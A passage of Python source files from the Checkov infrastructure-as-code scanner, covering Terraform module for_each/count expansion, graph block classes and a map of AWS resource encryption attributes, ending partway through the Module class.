checkov/terraform/graph_builder/foreach/module_handler.py ================================================ from __future__ import annotations import itertools import typing from collections import defaultdict from typing import Any import json from checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.terraform import TFModule, TFDefinitionKey from checkov.terraform.graph_builder.foreach.abstract_handler import ForeachAbstractHandler from checkov.terraform.graph_builder.foreach.consts import FOREACH_STRING, COUNT_STRING from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock if typing.TYPE_CHECKING: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph class ForeachModuleHandler(ForeachAbstractHandler): def __init__(self, local_graph: TerraformLocalGraph): super().__init__(local_graph) def handle(self, modules_blocks: list[int]) -> None: """ modules_blocks (list[int]): list of module blocks indexes in the graph that contains for_each / counts. """ if not modules_blocks: return current_level: list[TFModule | None] = [None] # We use `[:]` instead of deepcopy as it's much faster and the list has only primitive types (int indexes) main_module_modules = self.local_graph.vertices_by_module_dependency[None][BlockType.MODULE][:] modules_to_render = main_module_modules while modules_to_render: modules_to_render = self._render_foreach_modules_by_levels(modules_blocks, modules_to_render, current_level) self.local_graph._arrange_graph_data() self.local_graph._build_edges() def _render_foreach_modules_by_levels(self, modules_blocks: list[int], modules_to_render: list[int], current_level: list[TFModule | None]) -> list[int]: """ modules_blocks: The module blocks with for_each/count statement in the graph. modules_to_render: The list of modules indexes to render at this iteration. current_level: The parent current level that we are running on this iteration (first will be None). return: the next (list) of the modules to render. For example: at this folder - tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach We will run over the levels by: First level -> s3_module and s3_module2 (Copying the module and all his dependencies) Second level -> inner_s3_module and inner_s3_module2 (Copying the module and all his dependencies) This will generate a graph with 20 modules and 16 resources. """ sub_graph = self._build_sub_graph(modules_blocks) self._render_sub_graph(sub_graph, blocks_to_render=modules_blocks) for module_idx in modules_to_render: module_block = self.local_graph.vertices[module_idx] for_each = module_block.attributes.get(FOREACH_STRING) count = module_block.attributes.get(COUNT_STRING) if for_each: for_each = self._handle_static_statement(module_idx, sub_graph) if not for_each or not self._is_static_statement(module_idx, sub_graph): continue if isinstance(for_each, (list, dict)): self._duplicate_module_with_for_each(module_idx, for_each) elif count: count = self._handle_static_statement(module_idx, sub_graph) if not count or not self._is_static_statement(module_idx, sub_graph): continue if isinstance(count, int): self._duplicate_module_with_count(module_idx, count) return self._get_modules_to_render(current_level) def _duplicate_module_with_for_each(self, module_idx: int, for_each: dict[str, Any] | list[str]) -> None: self._create_new_resources_foreach(for_each, module_idx) def _duplicate_module_with_count(self, module_idx: int, count: int) -> None: self._create_new_resources_count(count, module_idx) def _get_rendered_modules(self, source_modules: list[TFModule | None]) -> list[int]: """ Returns a list of module indexes that have been rendered in the current iteration. """ modules_created_by_provided_source_packed = [self.local_graph.vertices_by_module_dependency[curr][BlockType.MODULE] for curr in source_modules] modules_created_by_provided_source = list(itertools.chain(*modules_created_by_provided_source_packed)) # list of lists -> single list return modules_created_by_provided_source def _get_modules_to_render(self, current_level: list[TFModule | None]) -> list[int]: rendered_modules = self._get_rendered_modules(current_level) current_level.clear() for m_idx in rendered_modules: current_level.append(self._get_current_tf_module_object(m_idx)) modules_to_render = [self.local_graph.vertices_by_module_dependency[curr][BlockType.MODULE] for curr in current_level] return list(itertools.chain.from_iterable(modules_to_render)) def _get_current_tf_module_object(self, m_idx: int) -> TFModule: m = self.local_graph.vertices[m_idx] m_name = m.name.split('[')[0] return TFModule(m.path, m_name, m.source_module_object, m.for_each_index) def _create_new_resources_foreach(self, statement: list[str] | dict[str, Any], block_idx: int) -> None: # Important it will be before the super call to avoid changes occurring from super main_resource = self.local_graph.vertices[block_idx] super()._create_new_resources_foreach(statement, block_idx) if isinstance(statement, list): for i, new_value in enumerate(statement): should_override = True if i == 0 else False self._update_module_children(main_resource, new_value, should_override_foreach_key=should_override) elif isinstance(statement, dict): for i, (new_key, _) in enumerate(statement.items()): should_override = True if i == 0 else False self._update_module_children(main_resource, new_key, should_override_foreach_key=should_override) def _create_new_foreach_resource(self, block_idx: int, foreach_idx: int, main_resource: TerraformBlock, new_key: int | str, new_value: int | str) -> None: self._create_new_module(main_resource, new_value, new_key=new_key, resource_idx=block_idx, foreach_idx=foreach_idx) def _update_module_children(self, main_resource: TerraformBlock, original_foreach_or_count_key: int | str, should_override_foreach_key: bool = True) -> None: foreach_idx = original_foreach_or_count_key if not should_override_foreach_key else None original_module_key = TFModule(path=main_resource.path, name=main_resource.name, nested_tf_module=main_resource.source_module_object, foreach_idx=foreach_idx) self._update_children_foreach_index(original_foreach_or_count_key, original_module_key, should_override_foreach_key=should_override_foreach_key) def _create_new_resources_count(self, statement: int, block_idx: int) -> None: main_resource = self.local_graph.vertices[block_idx] for i in range(statement): self._create_new_module(main_resource, i, resource_idx=block_idx, foreach_idx=i) # We purposely do it at the end to avoid influencing data structures in the middle of an update for i in range(statement): should_override = True if i == 0 else False self._update_module_children(main_resource, i, should_override_foreach_key=should_override) def _update_children_foreach_index(self, original_foreach_or_count_key: int | str, original_module_key: TFModule, current_module_key: TFModule | None = None, should_override_foreach_key: bool = True) -> None: """ Go through all child vertices and update source_module_object with foreach_idx """ if current_module_key is None: current_module_key = original_module_key if current_module_key not in self.local_graph.vertices_by_module_dependency: # Make sure we check both the intended key (with foreach key) and the one without the foreach key. # This is important as we have some iterations in which we try to access with the intended key before # we actually updated the dict itself nullified_key = self._get_tf_module_with_no_foreach(current_module_key) if nullified_key not in self.local_graph.vertices_by_module_dependency: return current_module_key = nullified_key values = self.local_graph.vertices_by_module_dependency[current_module_key].values() for child_indexes in values: for child_index in child_indexes: child = self.local_graph.vertices[child_index] child.source_module_object = self._get_module_with_only_relevant_foreach_idx( original_foreach_or_count_key, original_module_key, child.source_module_object) self._update_resolved_entry_for_tf_definition(child, original_foreach_or_count_key, original_module_key) # Important to copy to avoid changing the object by reference child_source_module_object_copy = pickle_deepcopy(child.source_module_object) if should_override_foreach_key and child_source_module_object_copy is not None: child_source_module_object_copy = self._get_tf_module_with_no_foreach( child_source_module_object_copy) child_module_key = TFModule(path=child.path, name=child.name, nested_tf_module=child_source_module_object_copy, foreach_idx=child.for_each_index) del child_source_module_object_copy self._update_children_foreach_index(original_foreach_or_count_key, original_module_key, child_module_key) @staticmethod def _get_tf_module_with_no_foreach(original_module: TFModule | None) -> TFModule | None: if original_module is None: return original_module return TFModule(name=original_module.name, path=original_module.path, foreach_idx=None, nested_tf_module=ForeachModuleHandler._get_tf_module_with_no_foreach( original_module.nested_tf_module)) def _create_new_module( self, main_resource: TerraformBlock, new_value: int | str, resource_idx: int, foreach_idx: int, new_key: int | str | None = None) -> None: new_resource = pickle_deepcopy(main_resource) block_name = new_resource.name config_attrs = new_resource.config.get(block_name, {}) key_to_val_changes = self._build_key_to_val_changes(main_resource, new_value, new_key) self._update_foreach_attrs(config_attrs, key_to_val_changes, new_resource) idx_to_change = new_key or new_value new_resource.for_each_index = idx_to_change main_resource_module_key = TFModule( path=new_resource.path, name=main_resource.name, nested_tf_module=new_resource.source_module_object ) # Without making this copy the test don't pass, as we might access the data structure in the middle of an update copy_of_vertices_by_module_dependency = pickle_deepcopy(self.local_graph.vertices_by_module_dependency) main_resource_module_value = pickle_deepcopy(copy_of_vertices_by_module_dependency[main_resource_module_key]) new_resource_module_key = TFModule(new_resource.path, new_resource.name, new_resource.source_module_object, idx_to_change) self._update_block_name_and_id(new_resource, idx_to_change) self._update_resolved_entry_for_tf_definition(new_resource, idx_to_change, main_resource_module_key) if foreach_idx != 0: self.local_graph.vertices.append(new_resource) self._create_new_module_with_vertices(main_resource, main_resource_module_value, resource_idx, new_resource, new_resource_module_key) else: self.local_graph.vertices[resource_idx] = new_resource key_with_foreach_index = TFModule(name=main_resource_module_key.name, path=main_resource_module_key.path, nested_tf_module=main_resource_module_key.nested_tf_module, foreach_idx=idx_to_change) self.local_graph.vertices_by_module_dependency[key_with_foreach_index] = main_resource_module_value self.local_graph.vertices_by_module_dependency_by_name[key_with_foreach_index][new_resource.name] = main_resource_module_value del copy_of_vertices_by_module_dependency, new_resource, main_resource_module_key, main_resource_module_value def _create_new_module_with_vertices(self, main_resource: TerraformBlock, main_resource_module_value: dict[str, list[int]], resource_idx: Any, new_resource: TerraformBlock | None = None, new_resource_module_key: TFModule | None = None) -> None: if new_resource is None: new_resource_name = main_resource.name new_resource_module_key = TFModule(main_resource.path, new_resource_name, main_resource.source_module_object, main_resource.for_each_index) else: new_resource_name = new_resource.name new_resource_vertex_idx = len(self.local_graph.vertices) - 1 original_vertex_source_module = self.local_graph.vertices[resource_idx].source_module_object if original_vertex_source_module: source_module_key = TFModule( path=original_vertex_source_module.path, name=original_vertex_source_module.name, nested_tf_module=original_vertex_source_module.nested_tf_module, ) else: source_module_key = None self.local_graph.vertices_by_module_dependency[source_module_key][BlockType.MODULE].append(new_resource_vertex_idx) self.local_graph.vertices_by_module_dependency_by_name[source_module_key][BlockType.MODULE][new_resource_name].append(new_resource_vertex_idx) new_vertices_module_value = self._add_new_vertices_for_module(new_resource_module_key, main_resource_module_value, new_resource_vertex_idx) self.local_graph.vertices_by_module_dependency.update({new_resource_module_key: new_vertices_module_value}) self.local_graph.vertices_by_module_dependency_by_name.update({new_resource_module_key: {new_resource_name: new_vertices_module_value}}) def _add_new_vertices_for_module(self, new_module_key: TFModule | None, new_module_value: dict[str, list[int]], new_resource_vertex_idx: int) -> dict[str, list[int]]: new_vertices_module_value: dict[str, list[int]] = defaultdict(list) seen_vertices = [] for vertex_type, vertices_idx in new_module_value.items(): for vertex_idx in vertices_idx: module_vertex = self.local_graph.vertices[vertex_idx] if module_vertex in seen_vertices: # Makes sure we won't mistakenly go over vertices we already copied. # This may happen when using nested modules with count>2, # as we might duplicate the previous count index resources mistakenly. # See issue https://github.com/bridgecrewio/checkov/issues/6068 continue seen_vertices.append(module_vertex) new_vertex = pickle_deepcopy(module_vertex) new_vertex.source_module_object = new_module_key self.local_graph.vertices.append(new_vertex) # Update source module based on the new added vertex new_vertex.source_module.pop() new_vertex.source_module.add(new_resource_vertex_idx) new_vertex_idx = len(self.local_graph.vertices) - 1 new_vertices_module_value[vertex_type].append(new_vertex_idx) if vertex_type == BlockType.MODULE: module_vertex_key = TFModule(path=module_vertex.path, name=module_vertex.name, nested_tf_module=module_vertex.source_module_object, foreach_idx=module_vertex.for_each_index) module_vertex_value = self.local_graph.vertices_by_module_dependency[module_vertex_key] self._create_new_module_with_vertices(new_vertex, module_vertex_value, new_vertex_idx) return new_vertices_module_value @staticmethod def _update_resolved_entry_for_tf_definition(child: TerraformBlock, original_foreach_or_count_key: int | str, original_module_key: TFModule) -> None: if child.block_type == BlockType.RESOURCE: child_name, child_type = child.name.split('.') config = child.config[child_name][child_type] else: config = child.config.get(child.name) if isinstance(config, dict): resolved_module_name = config.get(RESOLVED_MODULE_ENTRY_NAME) if resolved_module_name is not None and len(resolved_module_name) > 0: # iterate over each item in the resolved list and override it with updated data for idx, original_definition_key in enumerate(resolved_module_name): if isinstance(original_definition_key, str): original_definition_key = TFDefinitionKey.from_json(json.loads(original_definition_key)) resolved_tf_source_module = TFDefinitionKey.from_json(json.loads(resolved_module_name[idx])) if isinstance(resolved_module_name[idx], str) else resolved_module_name[idx] tf_source_modules = ForeachModuleHandler._get_module_with_only_relevant_foreach_idx( original_foreach_or_count_key, original_module_key, resolved_tf_source_module.tf_source_modules, ) resolved_module_name[idx] = TFDefinitionKey(file_path=original_definition_key.file_path, tf_source_modules=tf_source_modules) @staticmethod def _get_module_with_only_relevant_foreach_idx(original_foreach_or_count_key: int | str, original_module_key: TFModule, tf_moudle: TFModule | None) -> TFModule | None: if tf_moudle is None: return None if tf_moudle == original_module_key: return TFModule(name=tf_moudle.name, path=tf_moudle.path, nested_tf_module=tf_moudle.nested_tf_module, foreach_idx=original_foreach_or_count_key) nested_module = tf_moudle.nested_tf_module updated_module = ForeachModuleHandler._get_module_with_only_relevant_foreach_idx( original_foreach_or_count_key, original_module_key, nested_module) return TFModule(name=tf_moudle.name, path=tf_moudle.path, nested_tf_module=updated_module, foreach_idx=tf_moudle.foreach_idx) ================================================ FILE: checkov/terraform/graph_builder/foreach/resource_handler.py ================================================ from __future__ import annotations from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.foreach.foreach_entity_handler import ForeachEntityHandler from typing import TYPE_CHECKING if TYPE_CHECKING: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph class ForeachResourceHandler(ForeachEntityHandler): def __init__(self, local_graph: TerraformLocalGraph) -> None: super().__init__(local_graph, BlockType.RESOURCE) ================================================ FILE: checkov/terraform/graph_builder/foreach/utils.py ================================================ from __future__ import annotations from typing import Optional FOREACH_KEY_SEPERATOR = '["' FOREACH_KEY_ENDER = '"]' COUNT_KEY_SEPERATOR = "[" COUNT_KEY_ENDER = "]" def get_terraform_foreach_or_count_key(resource_id: str) -> Optional[str]: sanitized_id = get_sanitized_terraform_resource_id(resource_id) if sanitized_id == resource_id: return None key = resource_id.split(sanitized_id)[-1] while key.startswith(FOREACH_KEY_SEPERATOR) and key.endswith(FOREACH_KEY_ENDER): key = key[2:-2] while key.startswith(COUNT_KEY_SEPERATOR) and key.endswith(COUNT_KEY_ENDER): key = key[1:-1] return key def get_sanitized_terraform_resource_id(resource_id: str) -> str: if FOREACH_KEY_SEPERATOR in resource_id: original_id_parts = resource_id.split(FOREACH_KEY_SEPERATOR, maxsplit=1) original_resource_name = original_id_parts[-2] # As the last item will be the key itself, return original_resource_name # This will be the resource id before the foreach key was added elif COUNT_KEY_SEPERATOR in resource_id: original_id_parts = resource_id.split(COUNT_KEY_SEPERATOR) original_resource_name = original_id_parts[-2] return original_resource_name return resource_id def append_virtual_resource(virtual_resource_name: str | None, virtual_resources_list: list[str]) -> None: if virtual_resource_name is not None: virtual_resources_list.append(virtual_resource_name) ================================================ FILE: checkov/terraform/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/terraform/graph_builder/graph_components/attribute_names.py ================================================ ================================================ FILE: checkov/terraform/graph_builder/graph_components/block_types.py ================================================ from checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType from dataclasses import dataclass @dataclass class BlockType(CommonBlockType): DATA = "data" LOCALS = "locals" MODULE = "module" OUTPUT = "output" PROVIDER = "provider" TERRAFORM = "terraform" TF_VARIABLE = "tfvar" VARIABLE = "variable" CUSTOM = "custom" ================================================ FILE: checkov/terraform/graph_builder/graph_components/blocks.py ================================================ from __future__ import annotations from typing import Union, Dict, Any, List, Optional, Set, cast import dpath import re from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.utils import calculate_hash from checkov.common.typing import TFDefinitionKeyType from checkov.terraform.graph_builder.utils import INTERPOLATION_EXPR from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.modules.module_objects import TFModule class TerraformBlock(Block): __slots__ = ( "module_connections", "source_module", "has_dynamic_block", "dynamic_attributes", "foreach_attrs", "source_module_object", "for_each_index" ) def __init__( self, name: str, config: Dict[str, Any], path: TFDefinitionKeyType, block_type: str, attributes: Dict[str, Any], id: str = "", source: str = "", has_dynamic_block: bool = False, dynamic_attributes: dict[str, Any] | None = None, ) -> None: """ when adding a new field be sure to add it to the equality function below :param name: unique name given to the terraform block, for example: 'aws_vpc.example_name' :param config: the section in tf_definitions that belong to this block :param path: the file location of the block :param block_type: BlockType :param attributes: dictionary of the block's original attributes in the terraform file """ super().__init__( name=name, config=config, path=path, # type:ignore[arg-type] # Block class would need to be a Generic type to make this pass block_type=str(block_type), attributes=attributes, id=id, source=source, has_dynamic_block=has_dynamic_block, dynamic_attributes=dynamic_attributes, ) if path: self.path = path # type:ignore[assignment] # Block class would need to be a Generic type to make this pass if attributes.get(RESOLVED_MODULE_ENTRY_NAME): del attributes[RESOLVED_MODULE_ENTRY_NAME] self.attributes = attributes self.module_connections: Dict[str, List[int]] = {} self.source_module: Set[int] = set() self.has_dynamic_block = has_dynamic_block self.source_module_object: Optional[TFModule] = None self.for_each_index: Optional[Any] = None self.foreach_attrs: list[str] | None = None def __eq__(self, other: object) -> bool: if not isinstance(other, TerraformBlock): return False return self.name == other.name and self.config == other.config and self.path == other.path and \ self.block_type == other.block_type and self.attributes == other.attributes and \ self.id == other.id and self.has_dynamic_block == other.has_dynamic_block and self.source == other.source def get_attribute_dict(self, add_hash: bool = True) -> dict[str, Any]: """ :return: map of all the block's native attributes (from the source file), combined with the attributes generated by the module builder. If the attributes are not a primitive type, they are converted to strings. """ base_attributes = self.get_base_attributes() self.get_origin_attributes(base_attributes) if hasattr(self, "module_dependency") and hasattr(self, "module_dependency_num"): base_attributes[CustomAttributes.MODULE_DEPENDENCY] = self.module_dependency base_attributes[CustomAttributes.MODULE_DEPENDENCY_NUM] = self.module_dependency_num if self.changed_attributes: # add changed attributes only for calculating the hash base_attributes["changed_attributes"] = sorted(self.changed_attributes.keys()) if self.breadcrumbs: sorted_breadcrumbs = dict(sorted(self.breadcrumbs.items())) base_attributes[CustomAttributes.RENDERING_BREADCRUMBS] = sorted_breadcrumbs if hasattr(self, 'foreach_attrs'): base_attributes[CustomAttributes.FOREACH_ATTRS] = self.foreach_attrs if hasattr(self, 'source_module_object'): base_attributes[CustomAttributes.SOURCE_MODULE_OBJECT] = self.source_module_object if add_hash: base_attributes[CustomAttributes.HASH] = calculate_hash(base_attributes) if self.block_type == BlockType.DATA: base_attributes[CustomAttributes.RESOURCE_TYPE] = f'data.{self.id.split(".")[0]}' if self.block_type == BlockType.MODULE: # since module names are user defined we are just setting 'module' as resource type for easier searching base_attributes[CustomAttributes.RESOURCE_TYPE] = "module" if self.block_type == BlockType.PROVIDER: # provider_name is always a string, base_attributes needs better typing pipenv run mypy provider_name = cast(str, base_attributes[CustomAttributes.BLOCK_NAME]) provider_type = provider_name.split(".")[0] # ex: provider.aws base_attributes[CustomAttributes.RESOURCE_TYPE] = f"provider.{provider_type}" if "changed_attributes" in base_attributes: # removed changed attributes if it was added previously for calculating hash. del base_attributes["changed_attributes"] return base_attributes def add_module_connection(self, attribute_key: str, vertex_id: int) -> None: self.module_connections.setdefault(attribute_key, []).append(vertex_id) def extract_additional_changed_attributes(self, attribute_key: str) -> List[str]: # if the `attribute_key` starts with a `for_each.` we know the attribute can't be a dynamic attribute as it # represents the for_each of the block, so we don't need extract dynamic changed attributes # Fix: https://github.com/bridgecrewio/checkov/issues/4324 if self.has_dynamic_block and not attribute_key.startswith('for_each'): return self._extract_dynamic_changed_attributes(attribute_key) return super().extract_additional_changed_attributes(attribute_key) def _extract_dynamic_changed_attributes(self, dynamic_attribute_key: str, nesting_prefix: str = '') -> List[str]: dynamic_changed_attributes: list[str] = [] dynamic_attribute_key_parts = dynamic_attribute_key.split('.') try: remainder_key_parts = ['start_extract_dynamic_changed_attributes'] # For 1st iteration while remainder_key_parts: dynamic_for_each_index = dynamic_attribute_key_parts.index('for_each') dynamic_content_key_parts, remainder_key_parts = \ dynamic_attribute_key_parts[:dynamic_for_each_index], dynamic_attribute_key_parts[dynamic_for_each_index + 1:] dynamic_block_name = dynamic_content_key_parts[-1] dynamic_content_path = dynamic_content_key_parts + ['content'] if dpath.search(self.attributes, dynamic_content_path): dynamic_block_content = dpath.get(self.attributes, dynamic_content_path) for key, value in dynamic_block_content.items(): key_path = ".".join(filter(None, [nesting_prefix, dynamic_block_name, key])) self._collect_dynamic_dependent_keys(dynamic_block_name, value, key_path, dynamic_content_path, dynamic_changed_attributes) dynamic_attribute_key_parts = remainder_key_parts return dynamic_changed_attributes except ValueError: return dynamic_changed_attributes def _collect_dynamic_dependent_keys(self, dynamic_block_name: str, value: str | list[str] | dict[str, Any], key_path: str, dynamic_content_path: List[str], dynamic_changed_attributes: List[str]) -> None: if isinstance(value, str): dynamic_ref = f'{dynamic_block_name}.value' if "${" in value: interpolation_matches = re.findall(INTERPOLATION_EXPR, value) for match in interpolation_matches: if dynamic_ref in match: dynamic_changed_attributes.append(key_path) elif isinstance(value, list): for idx, sub_value in enumerate(value): self._collect_dynamic_dependent_keys( dynamic_block_name, sub_value, f'{key_path}.{idx}', dynamic_content_path, dynamic_changed_attributes) elif isinstance(value, dict): for sub_key, sub_value in value.items(): if isinstance(sub_value, dict) and 'content' in sub_value.keys() and 'for_each' in sub_value.keys(): nested_dynamic_block_key_path = f'{".".join(dynamic_content_path)}.dynamic.{sub_key}.for_each' dynamic_changed_attributes.extend( self._extract_dynamic_changed_attributes(nested_dynamic_block_key_path, nesting_prefix=dynamic_block_name)) else: self._collect_dynamic_dependent_keys( dynamic_block_name, sub_value, f'{key_path}.{sub_key}', dynamic_content_path, dynamic_changed_attributes) def find_attribute(self, attribute: Optional[Union[str, List[str]]]) -> Optional[str]: """ :param attribute: key to search in self.attributes The function searches for attribute in self.attribute. It might not exist if the block is variable or output, or its search path might be different if its a resource. :return: the actual attribute key or None """ if not attribute: return None if self.attributes.get(attribute[0]): return attribute[0] if self.block_type == BlockType.VARIABLE: return "default" if self.attributes.get("default") else None if self.block_type == BlockType.OUTPUT: return "value" if self.attributes.get("value") else None if self.block_type == BlockType.RESOURCE and len(attribute) > 1: # handle cases where attribute_at_dest == ['aws_s3_bucket.template_bucket', 'acl'] if self.name == attribute[0] and self.attributes.get(attribute[1]): return attribute[1] return None def update_list_attribute(self, attribute_key: str, attribute_value: Any) -> None: """Updates list attributes with their index This needs to be overridden, because of our hcl parser adding a list around any value """ if attribute_key not in self.attributes or isinstance(self.attributes[attribute_key][0], list): # sometimes the attribute_value is a list and replaces the whole value of the key, which makes it a normal value # ex. attribute_value = ["xyz"] and self.attributes[attribute_key][0] = "xyz" for idx, value in enumerate(attribute_value): self.attributes[f"{attribute_key}.{idx}"] = value @classmethod def get_inner_attributes( cls, attribute_key: str, attribute_value: Union[str, List[str], Dict[str, Any]], strip_list: bool = True ) -> Dict[str, Any]: if strip_list and isinstance(attribute_value, list) and len(attribute_value) == 1: attribute_value = attribute_value[0] return super().get_inner_attributes( attribute_key=attribute_key, attribute_value=attribute_value, ) def to_dict(self) -> dict[str, Any]: return { 'attributes': self.attributes, 'block_type': self.block_type, 'breadcrumbs': self.breadcrumbs, 'config': self.config, 'id': self.id, 'module_connections': self.module_connections, 'name': self.name, 'path': self.path, 'source': self.source, 'source_module': list(self.source_module), 'source_module_object': dict(self.source_module_object) if self.source_module_object else None } @staticmethod def from_dict(data: dict[str, Any]) -> TerraformBlock: tf_block = TerraformBlock(name=data.get('name', ''), block_type=data.get('block_type', ''), config=data.get('config', {}), id=data.get('id', ''), path=data.get('path', ''), source=data.get('source', ''), attributes=data.get('attributes', {}) ) tf_block.breadcrumbs = data.get('breadcrumbs', {}) tf_block.module_connections = data.get('module_connections', {}) tf_block.source_module = data.get('source_module', set()) tf_block.source_module_object = TFModule.from_json(data.get('source_module_object')) return tf_block ================================================ FILE: checkov/terraform/graph_builder/graph_components/generic_resource_encryption.py ================================================ from typing import Dict, List, Union, Any from checkov.common.graph.graph_builder import EncryptionTypes from checkov.common.graph.graph_builder.graph_components.generic_resource_encryption_base import ( GenericResourceEncryptionBase, ) from checkov.common.util.data_structures_utils import get_empty_list_str class GenericResourceEncryption(GenericResourceEncryptionBase): def __init__( self, resource_type: str, attribute_values_map: Dict[str, Union[List[bool], List[str]]], enabled_by_default: bool = False, ) -> None: super().__init__( resource_type, attribute_values_map, enabled_by_default, node_to_node_encryption="node_to_node_encryption" ) if self.resource_type.startswith("aws_"): if self.resource_type == "aws_s3_bucket": # for s3 buckets the default is SSE-S3 which uses AES256 self.default_description = EncryptionTypes.AES256.value else: self.default_description = EncryptionTypes.DEFAULT_KMS.value # This map allows dynamically creating the check for each resource type based on GenericResourceEncryption. # Please check out the constructor to understand all the edge cases. ENCRYPTION_BY_RESOURCE_TYPE: Dict[str, Any] = { "aws_ecr_repository": GenericResourceEncryption( "aws_ecr_repository", { "encryption_configuration.encryption_type": [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value], "encryption_configuration.kms_key": get_empty_list_str(), }, ), "aws_neptune_cluster": GenericResourceEncryption( "aws_neptune_cluster", {"storage_encrypted": [True], "kms_key_arn": get_empty_list_str()} ), "aws_efs_file_system": GenericResourceEncryption( "aws_efs_file_system", {"encrypted": [True], "kms_key_id": get_empty_list_str()} ), "aws_sagemaker_feature_group": GenericResourceEncryption( "aws_sagemaker_feature_group", {"security_config.kms_key_id": get_empty_list_str()} ), "aws_ebs_volume": GenericResourceEncryption( "aws_ebs_volume", {"encrypted": [True], "kms_key_id": get_empty_list_str()} ), "aws_elasticache_replication_group": GenericResourceEncryption( "aws_elasticache_replication_group", {"at_rest_encryption_enabled": [True], "kms_key_id": ["arn"]} ), "aws_elasticsearch_domain": GenericResourceEncryption( "aws_elasticsearch_domain", { "encrypt_at_rest.enabled": [True], "kms_key_id": get_empty_list_str(), "node_to_node_encryption.enabled": [True], }, ), "aws_msk_cluster": GenericResourceEncryption( "aws_msk_cluster", {"encryption_info.encryption_at_rest_kms_key_arn": get_empty_list_str()} ), "aws_docdb_cluster": GenericResourceEncryption( "aws_docdb_cluster", {"storage_encrypted": [True], "kms_key_arn": get_empty_list_str()} ), "aws_codebuild_project": GenericResourceEncryption( "aws_codebuild_project", {"encryption_key": get_empty_list_str()} ), "aws_codebuild_report_group": GenericResourceEncryption( "aws_codebuild_report_group", { "export_config.s3_destination.encryption_disabled": [False], "export_config.s3_destination.encryption_key": get_empty_list_str(), }, ), "aws_athena_database": GenericResourceEncryption( "aws_athena_database", { "encryption_configuration.encryption_option": ["SSE_S3", "SSE_KMS", "CSE_KMS"], "encryption_configuration.kms_key": get_empty_list_str(), }, ), "aws_athena_workgroup": GenericResourceEncryption( "aws_athena_workgroup", { "configuration.result_configuration.encryption_configuration.encryption_option": [ "SSE_S3", "SSE_KMS", "CSE_KMS", ], "configuration.result_configuration.encryption_configuration.kms_key_arn": get_empty_list_str(), }, ), "aws_kinesis_stream": GenericResourceEncryption( "aws_kinesis_stream", {"encryption_type": [EncryptionTypes.KMS_VALUE.value], "kms_key_id": get_empty_list_str()} ), "aws_eks_cluster": GenericResourceEncryption( "aws_eks_cluster", {"encryption_config.provider.key_arn": get_empty_list_str()} ), "aws_dynamodb_table": GenericResourceEncryption( "aws_dynamodb_table", {"server_side_encryption.enabled": [True], "server_side_encryption.kms_key_arn": get_empty_list_str()}, enabled_by_default=True, ), "aws_rds_cluster": GenericResourceEncryption( "aws_rds_cluster", {"storage_encrypted": [True], "kms_key_id": get_empty_list_str()} ), "aws_rds_global_cluster": GenericResourceEncryption("aws_rds_global_cluster", {"storage_encrypted": [True]}), "aws_s3_bucket": GenericResourceEncryption( "aws_s3_bucket", { "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm": [ EncryptionTypes.AWS_KMS_VALUE.value, EncryptionTypes.AES256.value, ], "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.kms_master_key_id": get_empty_list_str(), }, enabled_by_default=True, ), "aws_s3_bucket_inventory": GenericResourceEncryption( "aws_s3_bucket_inventory", {"destination.bucket.encryption": get_empty_list_str()} ), "aws_s3_bucket_object": GenericResourceEncryption( "aws_s3_bucket_object", { "server_side_encryption": [EncryptionTypes.AWS_KMS_VALUE.value, EncryptionTypes.AES256.value], "kms_key_id": get_empty_list_str(), }, ), "aws_cloudwatch_log_group": GenericResourceEncryption( "aws_cloudwatch_log_group", {"kms_key_id": get_empty_list_str()}, enabled_by_default=True ), "aws_cloudtrail": GenericResourceEncryption("aws_cloudtrail", {"kms_key_id": get_empty_list_str()}), "aws_dax_cluster": GenericResourceEncryption("aws_dax_cluster", {"server_side_encryption.enabled": [True]}), "aws_redshift_cluster": GenericResourceEncryption( "aws_redshift_cluster", {"encrypted": [True], "kms_key_id": get_empty_list_str()} ), "aws_sns_topic": GenericResourceEncryption("aws_sns_topic", {"kms_master_key_id": get_empty_list_str()}), "aws_sqs_queue": GenericResourceEncryption("aws_sqs_queue", {"kms_master_key_id": get_empty_list_str()}), } ================================================ FILE: checkov/terraform/graph_builder/graph_components/module.py ================================================ from __future__ import annotations import json import os from typing import List, Dict, Any, Set, Callable, Tuple, TYPE_CHECKING, cast from ast import literal_eval from checkov.common.typing import TFDefinitionKeyType from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.terraform import TFDefinitionKey from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock from checkov.common.graph.graph_builder import CustomAttributes, wrap_reserved_attributes, reserved_attributes_to_scan from checkov.terraform.parser_functions import handle_dynamic_values from hcl2 import START_LINE, END_LINE if TYPE_CHECKING: from typing_extensions import TypeAlias _AddBlockTypeCallable: TypeAlias = "Callable[[Module, list[dict[str, dict[str, Any]]], TFDefinitionKeyType], None]" class Module: def __init__( self, source_dir: str, external_modules_source_map: Dict[Tuple[str, str], str], ) -> None: # when adding a new field be sure to add it to the equality function below self.external_modules_source_map = external_modules_source_map self.path = "" self.blocks: List[TerraformBlock] = [] self.customer_name = "" self.account_id = "" self.source = "" self.resources_types: Set[str] = set() self.source_dir = source_dir self.render_dynamic_blocks_env_var = os.getenv('CHECKOV_RENDER_DYNAMIC_MODULES', 'True') self.temp_tf_definition: dict[TFDefinitionKey, dict[str, Any]] = {} def __eq__(self, other: object) -> bool: if not isinstance(other, Module): return False return self.external_modules_source_map == other.external_modules_source_map and \ self.path == other.path and \ self.customer_name == other.customer_name and \ self.account_id == other.account_id and \ self.source == other.source and \ 